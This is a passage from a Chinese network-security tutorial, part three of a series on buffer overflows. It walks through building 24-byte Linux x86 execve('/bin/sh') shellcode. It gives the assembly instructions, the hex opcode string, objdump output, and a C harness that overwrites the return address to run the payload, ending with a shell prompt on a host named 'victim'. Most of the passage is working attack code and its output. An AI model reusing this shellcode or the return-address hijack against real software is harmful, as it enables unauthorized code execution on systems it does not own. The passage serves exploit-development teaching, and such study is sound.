网络安全 频道

缓冲区溢出解密(三)

xorl %eax, %eax

接着我们把NULL推入堆栈:

pushl %eax

我们把字符串”//sh”推入堆栈,

2f is /

	2f is /

	73 is s

	68 is h



        pushl   $0x68732f2f

我们把字符串”/bin”推入堆栈:

2f is /

	62 is b

	69 is i	

	6e is n	



	pushl   $0x6e69622f

可以猜想,现在堆栈指针地址就象我们的NULL结尾字符串”/bin/sh”的地址。因为,从指向栈顶的指针开始,我们有了一个NULL结尾的字符串数组。因此,我们拷贝堆栈指针到EBX寄存器。这样,我们就已经把”/bin/sh”的地址放到EBX寄存器中了。

movl %esp,%ebx

接着我们需要用NULL结尾的数组地址设置ECX。为此,我们在我们的堆栈中创造了一个NULL结尾的数组,与上面那个很像:首先我们PUSH一个NULL。我们不能PUSH NULL,但是我们能PUSH值为NULL的东西,回顾我们异或EAX寄存器在那我们得到了NULL,因此让我们PUSH EAX来在堆栈中得到一个NULL。

pushl %eax

接着,我们PUSH我们的字符串的地址到堆栈,这等同于shell[0]:

pushl %ebx

现在我们有一个NULL结尾数组的指针,我们能够在ECX中保存它的地址:

movl %esp,%ecx

我们还需要其它什么呢?一个在EDX寄存器中的NULL。我们能movl %eax, %edx,但是我们能用一个短的指令完成这个操作:cdq。这个指令是把EAX中的符号位扩展到EDX。:

cdql

我们设定EAX 为0xb,这是系统调用表中的系统调用id。

movb $0x0b,%al

接着,我们转换到核模式:

int 0x80

之后,我们进到核模式,内核将调用exec函数执行我们指示给它的:/bin/sh 这样我们将进入一个交互shell……

因此,在讲了这么多以后,我们所要做的全部就是把这些汇编指令转换到一个字符串中。因此,让我们得到这些十六进制运赛码然后汇编我们的攻击代码:

sc.c :

char newsc[]=              /* 24 bytes                       */

    "\x31\xc0"             /* xorl    %eax,%eax              */

    "\x50"                 /* pushl   %eax                   */

    "\x68""//sh"           /* pushl   $0x68732f2f            */

    "\x68""/bin"           /* pushl   $0x6e69622f            */

    "\x89\xe3"             /* movl    %esp,%ebx              */

    "\x50"                 /* pushl   %eax                   */

    "\x53"                 /* pushl   %ebx                   */

    "\x89\xe1"             /* movl    %esp,%ecx              */

    "\x99"                 /* cdql                           */

    "\xb0\x0b"             /* movb    $0x0b,%al              */

    "\xcd\x80"             /* int     $0x80                  */

;



main()

{

}

[murat@victim newsc]$ gcc -g -o sc sc.c

[murat@victim newsc]$ objdump -D sc | grep \<newsc\> -A13

080494b0 <sc>:

 80494b0:       31 c0           xorl   %eax,%eax

 80494b2:       50              pushl  %eax

 80494b3:       68 2f 2f 73 68  pushl  $0x68732f2f

 80494b8:       68 2f 62 69 6e  pushl  $0x6e69622f

 80494bd:       89 e3           movl   %esp,%ebx

 80494bf:       50              pushl  %eax

 80494c0:       53              pushl  %ebx

 80494c1:       89 e1           movl   %esp,%ecx

 80494c3:       99              cltd

 80494c4:       b0 0b           movb   $0xb,%al

 80494c6:       cd 80           int    $0x80

 80494c8:       00 00           addb   %al,(%eax)

        ...

[murat@victim newsc]$

在上面的图中,第一行是指令内存地址,接下面的行是汇编指令的运算码,这也是我们兴趣所在,而最后一行是与运算码相关的汇编指令。

那么,这里就是完整的shell代码:

"\x31\xc0"             /* xorl    %eax,%eax              */

    "\x50"                 /* pushl   %eax                   */

    "\x68""//sh"           /* pushl   $0x68732f2f            */

    "\x68""/bin"           /* pushl   $0x6e69622f            */

    "\x89\xe3"             /* movl    %esp,%ebx              */

    "\x50"                 /* pushl   %eax                   */

    "\x53"                 /* pushl   %ebx                   */

    "\x89\xe1"             /* movl    %esp,%ecx              */

    "\x99"                 /* cdql                           */

    "\xb0\x0b"             /* movb    $0x0b,%al              */

    "\xcd\x80"             /* int     $0x80                  */

最后测试我们的shell代码:

shellcode.c :

char sc[]=              /* 24 bytes                       */

    "\x31\xc0"             /* xorl    %eax,%eax              */

    "\x50"                 /* pushl   %eax                   */

    "\x68""//sh"           /* pushl   $0x68732f2f            */

    "\x68""/bin"           /* pushl   $0x6e69622f            */

    "\x89\xe3"             /* movl    %esp,%ebx              */

    "\x50"                 /* pushl   %eax                   */

    "\x53"                 /* pushl   %ebx                   */

    "\x89\xe1"             /* movl    %esp,%ecx              */

    "\x99"                 /* cdql                           */

    "\xb0\x0b"             /* movb    $0x0b,%al              */

    "\xcd\x80"             /* int     $0x80                  */

;



main()

{

        int *ret;



        ret = (int *)&ret + 2;

        *ret = sc;

}

[murat@victim newsc]$ gcc -g -o shellcode shellcode.c

[murat@victim newsc]$ ./shellcode

bash$
0
相关文章